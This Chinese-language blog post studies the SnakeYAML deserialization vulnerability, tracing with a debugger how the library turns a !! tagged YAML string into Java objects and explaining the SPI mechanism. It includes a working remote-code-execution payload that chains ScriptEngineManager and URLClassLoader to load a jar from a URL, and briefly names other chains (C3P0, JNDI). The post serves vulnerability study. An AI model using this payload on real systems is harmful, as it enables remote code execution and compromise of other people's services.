初探snakeYaml反序列化
0x00前言
前几天🐑了,所以这段时间也没有学习。今天快好了,抓紧来学一下🙃🙃🙃
0x01漏洞原理
yaml反序列化时可以通过!!
+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager
payload并利用SPI机制通过URLClassLoader
或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
0x02环境
jdk:8u301
maven:
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
0x03序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数来实现yaml格式数据
和对象
之间相互转化。
- Yaml.dump() : 将对象转化为yaml格式的数据
- Yaml.load(): 将传入的字符串或文件,反序列化为对象
序列化
package com.le1a.snakeyaml.user;
public class User {
public String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
package com.le1a.snakeyaml.controller;
import com.le1a.snakeyaml.user.User;
import com.le1a.snakeyaml.user.User2;
import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo {
public static void main(String[] args) {
Serialize();
}
public static void Serialize(){
User user = new User();
user.setName("Le1aaaaa");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
//打印输出!!com.le1a.snakeyaml.user.User {name: Le1aaaaa}
这里的!!
类似于Fastjson
中的@type
,用来指定想要反序列化成为的对象。
反序列化
我们可以通过构造一个新的User类,来看反序列化的过程会调用哪些方法。
package com.le1a.snakeyaml.user;
public class User2 {
String name;
int age;
public User2() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public String getAge() {
System.out.println("User.getAge");
return name;
}
public void setAge(String name) {
System.out.println("User.setAge");
this.name = name;
}
}
package com.le1a.snakeyaml.controller;
import com.le1a.snakeyaml.user.User;
import com.le1a.snakeyaml.user.User2;
import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo {
public static void main(String[] args) {
Deserialize();
}
public static void Serialize(){
User user = new User();
user.setName("Le1aaaaa");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
public static void Deserialize(){
String s = "!!com.le1a.snakeyaml.user.User2 {name: Le1aaaa, age: 18}";
Yaml yaml = new Yaml();
User2 user2 = yaml.load(s);
}
}
发现会调用对象的构造函数和Set方法。
0x04 snakeYaml反序列化漏洞
漏洞复现
既然反序列化还原对象的过程中,会调用构造函数,那么我们构造一个恶意的对象,是否可以命令执行呢?
答案是可以的,但是本地肯定不会存在这样的恶意类。我们可以通过javax.script.ScriptEngineManager
的利用链通过URLClassLoader
实现的代码执行。
GitHub有现成的项目: https://github.com/artsploit/yaml-payload,打成jar包之后,然后起一个http服务。
使用如下poc:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]
调试分析
首先会调用StreamReader
,跟进看一下。首先进入了上面的StreamReader
,然后走到下面进行了一些赋值操作。
然后走到了loadFromReader
private Object loadFromReader(StreamReader sreader, Class<?> type) {
Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);
this.constructor.setComposer(composer);
return this.constructor.getSingleData(type);
}
他把StreamReader
封装成了一个Composer
对象,其中payload被封装在了composer->parser->scanner->reader->stream->str
当中
在这个过程中,实例化了ParserImpl
然后走到同名方法中
public ParserImpl(Scanner scanner) {
this.scanner = scanner;
this.currentEvent = null;
this.directives = new VersionTagsTuple((DumperOptions.Version)null, new HashMap(DEFAULT_TAGS));
this.states = new ArrayStack(100);
this.marks = new ArrayStack(10);
this.state = new ParseStreamStart();
}
这里需要注意这个!! -> tag:yaml.org,2002:
之后调用constructor.setComposer()
对封装好的composer
对象赋值,最后走到constructor.getSingleData()
方法中,然后调用getSingleNode()
,这个方法会对payload进行处理把!!
变成tag
一类的标识
public Object getSingleData(Class<?> type) {
Node node = this.composer.getSingleNode();
if (node != null && !Tag.NULL.equals(node.getTag())) {
if (Object.class != type) {
node.setTag(new Tag(type));
} else if (this.rootTag != null) {
node.setTag(this.rootTag);
}
return this.constructDocument(node);
} else {
Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
return construct.construct(node);
}
}
public Node getSingleNode() {
this.parser.getEvent();
Node document = null;
if (!this.parser.checkEvent(ID.StreamEnd)) {
document = this.getNode();
}
if (!this.parser.checkEvent(ID.StreamEnd)) {
Event event = this.parser.getEvent();
Mark contextMark = document != null ? document.getStartMark() : null;
throw new ComposerException("expected a single document in the stream", contextMark, "but found another document", event.getStartMark());
} else {
this.parser.getEvent();
return document;
}
}
tag具体的替换和payload重新组合的逻辑在ParserImpl#parseNode()
现在payload就变成了
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:8000/yaml-payload.jar)>])>])>])>])>
最后把数据返回给constructDocument(node);
继续跟进constructObject(node)
protected Object constructObject(Node node) {
return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
}
再继续跟进到constructObjectNoCheck(node)
protected Object constructObjectNoCheck(Node node) {
if (this.recursiveObjects.contains(node)) {
throw new ConstructorException((String)null, (Mark)null, "found unconstructable recursive node", node.getStartMark());
} else {
this.recursiveObjects.add(node);
Construct constructor = this.getConstructor(node);
Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
this.finalizeConstruction(node, data);
this.constructedObjects.put(node, data);
this.recursiveObjects.remove(node);
if (node.isTwoStepsConstruction()) {
constructor.construct2ndStep(node, data);
}
return data;
}
}
这两个值为空,所以执行constructor.construct(node)
,继续跟进
public Object construct(Node node) {
try {
return this.getConstructor(node).construct(node);
} catch (ConstructorException var3) {
throw var3;
} catch (Exception var4) {
throw new ConstructorException((String)null, (Mark)null, "Can't construct a java object for " + node.getTag() + "; exception=" + var4.getMessage(), node.getStartMark(), var4);
}
}
继续跟进getConstructor(node).construct(node)
for(i$ = snode.getValue().iterator(); i$.hasNext(); argumentListx[index++] = Constructor.this.constructObject(argumentNode)) {
argumentNode = (Node)i$.next();
Class<?> type = c.getParameterTypes()[index];
argumentNode.setType(type);
}
跟进constructObject(argumentNode)
,相当于又重新调用了
constructObjectNoCheck()->
BaseConstructor#construct()->
Contructor#construct()->
通过迭代Contructor#constructObject()
执行constructObject()后,接着又回去了,连续执行四次,直到recursiveObjects
中包含刚才提到的五条值。
最终通过newInstance
方法实例化,这里具体的话分为3步,首先是URL
的实例化,之后是URLClassLoader
的实例化,最终实例化ScriptEngineManager
时才会真正的触发远程代码执行。
0x05 SPI机制
什么是SPI?让我们来看看网上是怎么说的:
SPI全称为 (Service Provider Interface),是JDK内置的一种服务提供发现机制。SPI是一种动态替换发现的机制,一种解耦非常优秀的思想。
SPI的工作原理: 就是ClassPath路径下的META-INF/services文件夹中, 以接口的全限定名来命名文件名,文件里面写该接口的实现。然后再资源加载的方式,读取文件的内容(接口实现的全限定名), 然后再去加载类。
说简单一点就是:SPI机制可以让我们调用接口,然后通过服务配置的方式寻找实现类并调用
本次使用的payload也是如此,他实现了ScriptEngineFactory
接口
程序会通过java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
创建对象,并存到缓存和列表里面。
继续跟进init(loader);
继续跟进initEngines(loader);
这里会返回一个ServiceLoader
,它就用到了SPI机制,通过远程地址寻找META-INF/services
目录下的javax.script.ScriptEngineFactory
然后去加载文件中指定的PoC类从而触发远程代码执行。
下面走到itr.next();
继续跟进
继续跟进,走到ServiceLoader$LazyIterator#next()
这里调用了nextService()
,继续跟进
这里反射获取了jdk.nashorn.api.scripting.NashornScriptEngineFactory
,然后在后面进行了newInstance
实例化。
然后继续跟进就会进行一次循环,进行第二次反射&实例化jar包中的PoC类AwesomeScriptEngineFactory
最终触发AwesomeScriptEngineFactory
类的无参构造方法的恶意代码。
0x06 其他手法
C3P0
用到C3P0.WrapperConnectionPoolDataSource
通过Hex序列化字节加载器达到二次反序列化
ScriptEngineManager
把恶意jar包写入进去,然后file协议加载本地jar